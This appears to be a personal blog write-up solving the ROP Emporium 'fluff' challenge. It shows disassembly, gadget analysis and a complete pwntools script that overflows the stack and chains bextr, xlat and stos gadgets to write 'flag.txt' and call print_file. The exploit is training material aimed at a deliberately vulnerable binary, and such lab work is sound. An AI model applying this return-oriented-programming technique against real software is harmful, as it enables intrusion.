Post

fluff

fluff

Description

This ropemporium challenge, fluff, is designed to practice working with non-standard gadgets to write data.

Exploration

questionableGadgets

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> disass questionableGadgets
Dump of assembler code for function questionableGadgets:
   0x0000000000400628 <+0>:     xlat   BYTE PTR ds:[rbx]
   0x0000000000400629 <+1>:     ret
   0x000000000040062a <+2>:     pop    rdx
   0x000000000040062b <+3>:     pop    rcx
   0x000000000040062c <+4>:     add    rcx,0x3ef2
   0x0000000000400633 <+11>:    bextr  rbx,rcx,rdx
   0x0000000000400638 <+16>:    ret
   0x0000000000400639 <+17>:    stos   BYTE PTR es:[rdi],al
   0x000000000040063a <+18>:    ret
   0x000000000040063b <+19>:    nop    DWORD PTR [rax+rax*1+0x0]
End of assembler dump.

Here, there are 3 gadgets: xlat, bextr, and stos.

The bextr gadget

According to this StackOverflow post, bextr extracts bits from rcx and stores the result in rbx. The bits that it extracts are determined by rdx - bits 0-7 determine the starting index and bits 8-15 determine the length.

The gadget inserts values into rdx and rcx, then adds 0x3ef2 to rcx. The result of bextr is then stored into rbx.

The xlat gadget

The xlat instruction ends up just executing al = [rbx+al].

The stos gadget

The stos gadget ends up just executing [rdi] = al and increments (or decrements) rdi. The increment is dependent on the df flag.

Summary

By the way, there’s also an rdi gadget:

1
2
3
4
5
6
7
8
$ ropper -f ./fluff --search "pop rdi"
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop rdi

[INFO] File: ./fluff
0x00000000004006a3: pop rdi; ret;

With these, we can now create a write gadget with the following:

  • Use the rdi gadget to write rdi.
  • Use the bextr gadget to write an address into rbx
  • Use the xlat gadget to write [rbx] (but we don’t know al) into al.
  • Use the stos gadget to write al into [rdi].

Repeat as necessary to write all of the bytes needed to make rdi have the pointer to the string "flag.txt".

Note that since we modify al we need to “reset” it every time we use it, and we need to determine the initial al value.

Write location

We can use .bss once again:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pwndbg> info files
Symbols from "/home/ctf/ctf/ropemporium/fluff/fluff".
Local exec file:
        `/home/ctf/ctf/ropemporium/fluff/fluff', file type elf64-x86-64.
        Entry point: 0x400520
        0x0000000000400238 - 0x0000000000400254 is .interp
        0x0000000000400254 - 0x0000000000400274 is .note.ABI-tag
        0x0000000000400274 - 0x0000000000400298 is .note.gnu.build-id
        0x0000000000400298 - 0x00000000004002d0 is .gnu.hash
        0x00000000004002d0 - 0x00000000004003c0 is .dynsym
        0x00000000004003c0 - 0x000000000040043b is .dynstr
        0x000000000040043c - 0x0000000000400450 is .gnu.version
        0x0000000000400450 - 0x0000000000400470 is .gnu.version_r
        0x0000000000400470 - 0x00000000004004a0 is .rela.dyn
        0x00000000004004a0 - 0x00000000004004d0 is .rela.plt
        0x00000000004004d0 - 0x00000000004004e7 is .init
        0x00000000004004f0 - 0x0000000000400520 is .plt
        0x0000000000400520 - 0x00000000004006b2 is .text
        0x00000000004006b4 - 0x00000000004006bd is .fini
        0x00000000004006c0 - 0x00000000004006d0 is .rodata
        0x00000000004006d0 - 0x0000000000400714 is .eh_frame_hdr
        0x0000000000400718 - 0x0000000000400838 is .eh_frame
        0x0000000000600df0 - 0x0000000000600df8 is .init_array
        0x0000000000600df8 - 0x0000000000600e00 is .fini_array
        0x0000000000600e00 - 0x0000000000600ff0 is .dynamic
        0x0000000000600ff0 - 0x0000000000601000 is .got
        0x0000000000601000 - 0x0000000000601028 is .got.plt
        0x0000000000601028 - 0x0000000000601038 is .data
        0x0000000000601038 - 0x0000000000601040 is .bss

Finding al

Script

I’ve created a script to break at the xlat instruction.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python3

from pwn import *

exe = ELF("./fluff")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("addr", 1337)

    return r


def main():
    r = gdb.debug("./fluff", '''
    b *0x400628
    c
    ''')

    # good luck pwning :)
    offset = 0x28
    xlat_gadget = 0x400628
    payload = flat({
        offset: [xlat_gadget]
    })
    r.sendline(payload)

    r.interactive()


if __name__ == "__main__":
    main()

Running

After running, we can see that al has the value 11 when we first call the xlat gadget.

1
2
(gdb) p $al
$1 = 11

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3

from pwn import *

exe = ELF("./fluff")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("addr", 1337)

    return r

We begin by writing an address to rbx using the bextr gadget. By setting the start to 0x20 (32), we can avoid the 0x3ef2 altogether.

1
2
3
4
5
def write_rbx(address):
    bextr_gadget = 0x40062a
    rdx = 0x2020
    rcx = p32(0) + p32(address)
    return flat([bextr_gadget, rdx, rcx])

We then can then use the xlat and stos gadgets to write a byte into rdi, which will be a shifting value based on the offset of the string.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
al = 11
rdi_gadget = 0x4006a3

def write_byte(destination, char, index):
    global al
    source = next(exe.search(char.encode()))
    rbx_gadget = write_rbx(source-al)
    al = ord(char)
    xlat_gadget = 0x400628
    stos_gadget = 0x400639

    return flat([
        rbx_gadget,
        xlat_gadget,
        rdi_gadget,
        destination+index,
        stos_gadget,
    ])
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def main():
    r = conn()


    # good luck pwning :)
    offset = 0x28
    bss = 0x601038
    payload = b"z" * offset
    filename = "flag.txt"
    for i, c in enumerate(filename):
        payload += write_byte(bss, c, i)

    payload += flat([
        rdi_gadget,
        bss,
        exe.plt["print_file"]
    ])
    
    r.sendline(payload)

    r.interactive()


if __name__ == "__main__":
    main()

Running

Hilariously enough, the machine I use for CTF challenges is has an old CPU that doesn’t have the bextr instruction. I didn’t bother testing to see whether that was the virtual machine’s fault or the CPU’s fault. I was getting a SIGILL, but I had the classic: “It works on my machine!”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[*] '/tmp/fluff/fluff'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    RUNPATH:    b'.'
    Stripped:   No
[+] Starting local process '/tmp/fluff/fluff': pid 1340031
[*] Switching to interactive mode
fluff by ROP Emporium
x86_64

You know changing these strings means I have to rewrite my solutions...
> Thank you!
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$ 
[*] Process '/tmp/fluff/fluff' stopped with exit code -11 (SIGSEGV) (pid 1340031)
[*] Got EOF while sending in interactive

Conclusion

I did need to consult this writeup to determine how to get the initial al value. I also realized that flat doesn’t round your payload to the nearest 8 bytes. This caused an initial SIGSEGV and for my entire payload to be offset.

1
2
3
4
5
# original
rcx = flat([0x4: address])

# fixed
rcx = p32(0) + p32(address)
This post is licensed under CC BY 4.0 by the author.